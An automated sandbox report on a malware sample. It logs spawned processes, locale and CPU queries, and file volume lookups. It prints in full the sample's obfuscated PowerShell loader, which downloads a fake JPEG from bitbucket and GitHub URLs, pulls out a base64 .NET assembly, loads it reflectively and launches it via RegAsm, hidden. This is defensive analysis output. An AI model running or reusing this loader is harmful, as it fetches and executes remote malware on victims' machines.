#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/adssgfdsg/testing/downloads/img_test.jpg?144417', 'https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.SmniiFI/niam/sdaeh/sfer/ann/AKISEAWUEJI/moc.tnetnocresubuhtig.war//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}" .exe -windowstyle hidden -exec Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$codigo = 'wwbo#gu#d##u#fm#zqby#hy#aqbj#gu#u#bv#gk#bgb0#e0#yqbu#ge#zwbl#hi#xq#6#do#uwbl#gm#dqby#gk#d#b5#f##cgbv#hq#bwbj#g8#b##g#d0#i#bb#e4#zqb0#c4#uwbl#gm#dqby#gk#d#b5#f##cgbv#hq#bwbj#g8#b#bu#hk#c#bl#f0#og#6#fq#b#bz#de#mg#n##o#i##g#c##i##g#c##i##g#c##i##g#c##zgb1#g4#ywb0#gk#bwbu#c##r#bv#hc#bgbs#g8#yqbk#eq#yqb0#ge#rgby#g8#bqbm#gk#bgbr#hm#i#b7#c##c#bh#hi#yqbt#c##k#bb#hm#d#by#gk#bgbn#fs#xqbd#cq#b#bp#g4#awbz#ck#i##n##o#i##g#c##i##g#c##i##g#c##i##g#c##j#b3#gu#ygbd#gw#aqbl#g4#d##g#d0#i#bo#gu#dw#t#e8#ygbq#gu#ywb0#c##uwb5#hm#d#bl#g0#lgbo#gu#d##u#fc#zqbi#em#b#bp#gu#bgb0#ds#i##n##o#i##g#c##i##g#c##i##g#c##i##g#c##j#bz#gg#dqbm#gy#b#bl#gq#t#bp#g4#awbz#c##pq#g#ec#zqb0#c0#ugbh#g4#z#bv#g0#i##t#ek#bgbw#hu#d#bp#gi#agbl#gm#d##g#cq#b#bp#g4#awbz#c##lqbd#g8#dqbu#hq#i##k#gw#aqbu#gs#cw#u#ew#zqbu#gc#d#bo#ds#i##n##o#i##g#c##i##g#c##i##g#c##i##g#c##zgbv#hi#zqbh#gm#a##g#cg#j#bs#gk#bgbr#c##aqbu#c##j#bz#gg#dqbm#gy#b#bl#gq#t#bp#g4#awbz#ck#i#b7#c##d#by#hk#i#b7#c##cgbl#hq#dqby#g4#i##k#hc#zqbi#em#b#bp#gu#bgb0#c4#r#bv#hc#bgbs#g8#yqbk#eq#yqb0#ge#k##k#gw#aqbu#gs#kq#g#h0#i#bj#ge#d#bj#gg#i#b7#c##ywbv#g4#d#bp#g4#dqbl#c##fq#g#h0#ow#g##0#cg#g#c##i##g#c##i##g#c##i##g#c##i#by#gu#d#b1#hi#bg#g#cq#bgb1#gw#b##g#h0#ow#g##0#cg#g#c##i##g#c##i##g#c##i##g#c##i##k#gw#aqbu#gs#cw#g#d0#i#b##cg#jwbo#hq#d#bw#hm#og#v#c8#ygbp#hq#ygb1#gm#awbl#hq#lgbv#hi#zw#v#ge#z#bz#hm#zwbm#gq#cwbn#c8#d#bl#hm#d#bp#g4#zw#v#gq#bwb3#g4#b#bv#ge#z#bz#c8#aqbt#gc#xwb0#gu#cwb0#c4#agbw#gc#pw#x#dq#n##0#de#nw#n#cw#i##n#gg#d#b0#h##cw#6#c8#lwby#ge#dw#u#gc#aqb0#gg#dqbi#hu#cwbl#hi#ywbv#g4#d#bl#g4#d##u#gm#bwbt#c8#cwbh#g4#d#bv#g0#yqbs#g8#lwbh#hu#z#bp#hq#lwbt#ge#aqbu#c8#aqbt#gc#xwb0#gu#cwb0#c4#agbw#gc#pw#x#dq#n##0#de#nw#y#dm#jw#p#ds#dq#k#c##i##g#c##i##g#c##i##g#c##i##g#c##j#bp#g0#yqbn#gu#qgb5#hq#zqbz#c##pq#g#eq#bwb3#g4#b#bv#ge#z#be#ge#d#bh#ey#cgbv#g0#t#bp#g4#awbz#c##j#bs#gk#bgbr#hm#ow#n##o#i##g#c##i##g#c##i##g#c##i##g#c##i#bp#gy#i##o#cq#aqbt#ge#zwbl#ei#eqb0#gu#cw#g#c0#bgbl#c##j#bu#hu#b#bs#ck#i#b7#c##j#bp#g0#yqbn#gu#v#bl#hg#d##g#d0#i#bb#fm#eqbz#hq#zqbt#c4#v#bl#hg#d##u#eu#bgbj#g8#z#bp#g4#zwbd#do#ogbv#fq#rg#4#c4#rwbl#hq#uwb0#hi#aqbu#gc#k##k#gk#bqbh#gc#zqbc#hk#d#bl#hm#kq#7##0#cg#g#c##i##g#c##i##g#c##i##g#c##i##g#cq#cwb0#ge#cgb0#ey#b#bh#gc#i##9#c##jw#8#dw#qgbb#fm#rq#2#dq#xwbt#fq#qqbs#fq#pg#+#cc#ow#g#cq#zqbu#gq#rgbs#ge#zw#g#d0#i##n#dw#p#bc#ee#uwbf#dy#n#bf#eu#tgbe#d4#pg#n#ds#i##k#hm#d#bh#hi#d#bj#g4#z#bl#hg#i##9#c##j#bp#g0#yqbn#gu#v#bl#hg#d##u#ek#bgbk#gu#e#bp#gy#k##k#hm#d#bh#hi#d#bg#gw#yqbn#ck#ow#g##0#cg#g#c##i##g#c##i##g#c##i##g#c##i##k#gu#bgbk#ek#bgbk#gu#e##g#d0#i##k#gk#bqbh#gc#zqbu#gu#e#b0#c4#sqbu#gq#zqb4#e8#zg#o#cq#zqbu#gq#rgbs#ge#zw#p#ds#dq#k#c##i##g#c##i##g#c##i##g#c##i##g#c##aqbm#c##k##k#hm#d#bh#hi#d#bj#g4#z#bl#hg#i##t#gc#zq#g#d##i##t#ge#bgbk#c##j#bl#g4#z#bj#g4#z#bl#hg#i##t#gc#d##g#cq#cwb0#ge#cgb0#ek#bgbk#gu#e##p#c##ew#g#cq#cwb0#ge#cgb0#ek#bgbk#gu#e##g#cs#pq#g#cq#cwb0#ge#cgb0#ey#b#bh#gc#lgbm#gu#bgbn#hq#a##7#c##dq#k#c##i##g#c
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "[net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12 function downloaddatafromlinks { param ([string[]]$links) $webclient = new-object system.net.webclient; $shuffledlinks = get-random -inputobject $links -count $links.length; foreach ($link in $shuffledlinks) { try { return $webclient.downloaddata($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/adssgfdsg/testing/downloads/img_test.jpg?144417', 'https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723'); $imagebytes = downloaddatafromlinks $links; if ($imagebytes -ne $null) { $imagetext = [system.text.encoding]::utf8.getstring($imagebytes); $startflag = '<<base64_start>>'; $endflag = '<<base64_end>>'; $startindex = $imagetext.indexof($startflag); $endindex = $imagetext.indexof($endflag); if ($startindex -ge 0 -and $endindex -gt $startindex) { $startindex += $startflag.length; $base64length = $endindex - $startindex; $base64command = $imagetext.substring($startindex, $base64length); $commandbytes = [system.convert]::frombase64string($base64command); $loadedassembly = [system.reflection.assembly]::load($commandbytes); $type = $loadedassembly.gettype('testpowershell.home'); $method = $type.getmethod('la').invoke($null, [object[]] ('txt.smniifi/niam/sdaeh/sfer/ann/akiseawueji/moc.tnetnocresubuhtig.war//:sptth', '0', 'startupname', 'regasm', '0'))}}" .exe -windowstyle hidden -exec
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$codigo = 'wwbo#gu#d##u#fm#zqby#hy#aqbj#gu#u#bv#gk#bgb0#e0#yqbu#ge#zwbl#hi#xq#6#do#uwbl#gm#dqby#gk#d#b5#f##cgbv#hq#bwbj#g8#b##g#d0#i#bb#e4#zqb0#c4#uwbl#gm#dqby#gk#d#b5#f##cgbv#hq#bwbj#g8#b#bu#hk#c#bl#f0#og#6#fq#b#bz#de#mg#n##o#i##g#c##i##g#c##i##g#c##i##g#c##zgb1#g4#ywb0#gk#bwbu#c##r#bv#hc#bgbs#g8#yqbk#eq#yqb0#ge#rgby#g8#bqbm#gk#bgbr#hm#i#b7#c##c#bh#hi#yqbt#c##k#bb#hm#d#by#gk#bgbn#fs#xqbd#cq#b#bp#g4#awbz#ck#i##n##o#i##g#c##i##g#c##i##g#c##i##g#c##j#b3#gu#ygbd#gw#aqbl#g4#d##g#d0#i#bo#gu#dw#t#e8#ygbq#gu#ywb0#c##uwb5#hm#d#bl#g0#lgbo#gu#d##u#fc#zqbi#em#b#bp#gu#bgb0#ds#i##n##o#i##g#c##i##g#c##i##g#c##i##g#c##j#bz#gg#dqbm#gy#b#bl#gq#t#bp#g4#awbz#c##pq#g#ec#zqb0#c0#ugbh#g4#z#bv#g0#i##t#ek#bgbw#hu#d#bp#gi#agbl#gm#d##g#cq#b#bp#g4#awbz#c##lqbd#g8#dqbu#hq#i##k#gw#aqbu#gs#cw#u#ew#zqbu#gc#d#bo#ds#i##n##o#i##g#c##i##g#c##i##g#c##i##g#c##zgbv#hi#zqbh#gm#a##g#cg#j#bs#gk#bgbr#c##aqbu#c##j#bz#gg#dqbm#gy#b#bl#gq#t#bp#g4#awbz#ck#i#b7#c##d#by#hk#i#b7#c##cgbl#hq#dqby#g4#i##k#hc#zqbi#em#b#bp#gu#bgb0#c4#r#bv#hc#bgbs#g8#yqbk#eq#yqb0#ge#k##k#gw#aqbu#gs#kq#g#h0#i#bj#ge#d#bj#gg#i#b7#c##ywbv#g4#d#bp#g4#dqbl#c##fq#g#h0#ow#g##0#cg#g#c##i##g#c##i##g#c##i##g#c##i#by#gu#d#b1#hi#bg#g#cq#bgb1#gw#b##g#h0#ow#g##0#cg#g#c##i##g#c##i##g#c##i##g#c##i##k#gw#aqbu#gs#cw#g#d0#i#b##cg#jwbo#hq#d#bw#hm#og#v#c8#ygbp#hq#ygb1#gm#awbl#hq#lgbv#hi#zw#v#ge#z#bz#hm#zwbm#gq#cwbn#c8#d#bl#hm#d#bp#g4#zw#v#gq#bwb3#g4#b#bv#ge#z#bz#c8#aqbt#gc#xwb0#gu#cwb0#c4#agbw#gc#pw#x#dq#n##0#de#nw#n#cw#i##n#gg#d#b0#h##cw#6#c8#lwby#ge#dw#u#gc#aqb0#gg#dqbi#hu#cwbl#hi#ywbv#g4#d#bl#g4#d##u#gm#bwbt#c8#cwbh#g4#d#bv#g0#yqbs#g8#lwbh#hu#z#bp#hq#lwbt#ge#aqbu#c8#aqbt#gc#xwb0#gu#cwb0#c4#agbw#gc#pw#x#dq#n##0#de#nw#y#dm#jw#p#ds#dq#k#c##i##g#c##i##g#c##i##g#c##i##g#c##j#bp#g0#yqbn#gu#qgb5#hq#zqbz#c##pq#g#eq#bwb3#g4#b#bv#ge#z#be#ge#d#bh#ey#cgbv#g0#t#bp#g4#awbz#c##j#bs#gk#bgbr#hm#ow#n##o#i##g#c##i##g#c##i##g#c##i##g#c##i#bp#gy#i##o#cq#aqbt#ge#zwbl#ei#eqb0#gu#cw#g#c0#bgbl#c##j#bu#hu#b#bs#ck#i#b7#c##j#bp#g0#yqbn#gu#v#bl#hg#d##g#d0#i#bb#fm#eqbz#hq#zqbt#c4#v#bl#hg#d##u#eu#bgbj#g8#z#bp#g4#zwbd#do#ogbv#fq#rg#4#c4#rwbl#hq#uwb0#hi#aqbu#gc#k##k#gk#bqbh#gc#zqbc#hk#d#bl#hm#kq#7##0#cg#g#c##i##g#c##i##g#c##i##g#c##i##g#cq#cwb0#ge#cgb0#ey#b#bh#gc#i##9#c##jw#8#dw#qgbb#fm#rq#2#dq#xwbt#fq#qqbs#fq#pg#+#cc#ow#g#cq#zqbu#gq#rgbs#ge#zw#g#d0#i##n#dw#p#bc#ee#uwbf#dy#n#bf#eu#tgbe#d4#pg#n#ds#i##k#hm#d#bh#hi#d#bj#g4#z#bl#hg#i##9#c##j#bp#g0#yqbn#gu#v#bl#hg#d##u#ek#bgbk#gu#e#bp#gy#k##k#hm#d#bh#hi#d#bg#gw#yqbn#ck#ow#g##0#cg#g#c##i##g#c##i##g#c##i##g#c##i##k#gu#bgbk#ek#bgbk#gu#e##g#d0#i##k#gk#bqbh#gc#zqbu#gu#e#b0#c4#sqbu#gq#zqb4#e8#zg#o#cq#zqbu#gq#rgbs#ge#zw#p#ds#dq#k#c##i##g#c##i##g#c##i##g#c##i##g#c##aqbm#c##k##k#hm#d#bh#hi#d#bj#g4#z#bl#hg#i##t#gc#zq#g#d##i##t#ge#bgbk#c##j#bl#g4#z#bj#g4#z#bl#hg#i##t#gc#d##g#cq#cwb0#ge#cgb0#ek#bgbk#gu#e##p#c##ew#g#cq#cwb0#ge#cgb0#ek#bgbk#gu#e##g#cs#pq#g#cq#cwb0#ge#cgb0#ey#b#bh#gc#lgbm#gu#bgbn#hq#a##7#c##dq#k#c##i##g#c Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "[net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12 function downloaddatafromlinks { param ([string[]]$links) $webclient = new-object system.net.webclient; $shuffledlinks = get-random -inputobject $links -count $links.length; foreach ($link in $shuffledlinks) { try { return $webclient.downloaddata($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/adssgfdsg/testing/downloads/img_test.jpg?144417', 'https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723'); $imagebytes = downloaddatafromlinks $links; if ($imagebytes -ne $null) { $imagetext = [system.text.encoding]::utf8.getstring($imagebytes); $startflag = '<<base64_start>>'; $endflag = '<<base64_end>>'; $startindex = $imagetext.indexof($startflag); $endindex = $imagetext.indexof($endflag); if ($startindex -ge 0 -and $endindex -gt $startindex) { $startindex += $startflag.length; $base64length = $endindex - $startindex; $base64command = $imagetext.substring($startindex, $base64length); $commandbytes = [system.convert]::frombase64string($base64command); $loadedassembly = [system.reflection.assembly]::load($commandbytes); $type = $loadedassembly.gettype('testpowershell.home'); $method = $type.getmethod('la').invoke($null, [object[]] ('txt.smniifi/niam/sdaeh/sfer/ann/akiseawueji/moc.tnetnocresubuhtig.war//:sptth', '0', 'startupname', 'regasm', '0'))}}" .exe -windowstyle hidden -exec Jump to behavior
Contains functionality to query CPU information (cpuid)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0042C3C6 cpuid 13_2_0042C3C6
Contains functionality to query locales information (e.g. system language)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: EnumSystemLocalesW, 13_2_00444161
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: EnumSystemLocalesW, 13_2_004441AC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: EnumSystemLocalesW, 13_2_00444247
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW, 13_2_004442D4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: GetLocaleInfoW, 13_2_0043D32C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: GetLocaleInfoW, 13_2_00444524
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP, 13_2_0044464D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: GetLocaleInfoW, 13_2_00444754
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: GetLocaleInfoA, 13_2_0040A7D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW, 13_2_00444821
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: EnumSystemLocalesW, 13_2_0043CEC5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW, 13_2_00443EE9
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation Jump to behavior
